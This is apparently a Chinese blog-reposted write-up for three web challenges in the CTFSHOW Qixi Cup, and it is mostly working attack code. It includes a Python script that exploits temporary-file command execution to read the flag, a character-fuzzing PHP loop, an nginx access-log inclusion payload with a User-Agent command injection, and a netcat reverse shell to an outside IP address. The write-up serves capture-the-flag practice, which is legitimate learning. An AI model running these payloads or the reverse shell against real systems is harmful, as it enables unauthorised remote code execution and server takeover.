本文主要是介绍【Web】CTFSHOW 七夕杯 题解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
web签到
easy_calc
easy_cmd
web签到
CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_ctf中字符长度限制下的命令执行 5个字符-CSDN博客7长度限制直接梭了
也可以打临时文件RCE
import requestsurl = "http://4ae13f1e-8e42-4afa-a6a6-1076acd08211.challenge.ctf.show/"def getFlag():file={"file":"#!/bin/sh\ncat /f*>/var/www/html/1.txt"}data={"cmd":". /t*/*"}response = requests.post(url=url+"api/tools.php",files=file,data=data)if "t*" in response.text:print("执行成功,检查回显...")response = requests.get(url=url+"1.txt")if response.status_code == 200:print("flag 获取成功 "+response.text)else:print("flag 获取失败")if __name__ == '__main__':getFlag()
easy_calc
一眼命令拼接,先fuzz一下可以用的字符
<?php
for ($i=32;$i<127;$i++){if (!preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/",chr($i))){echo chr($i)." ";}
}
// " ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; A B C D E F G H I J K L M N O P Q R S T U V W X Y Z \ ] a b c d e f g h i j k l m n o p q r s t u v w x y z }
过滤了括号,不难想到用include
直接nginx日志包含
payload:
num1=1&symbol=-&num2=1;include "/var/log/nginx/access.log"
UA写入命令执行
easy_cmd
直接nc反弹shell
payload:
cmd=nc 124.222.136.33 1337 -e /bin/sh
这篇关于【Web】CTFSHOW 七夕杯 题解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!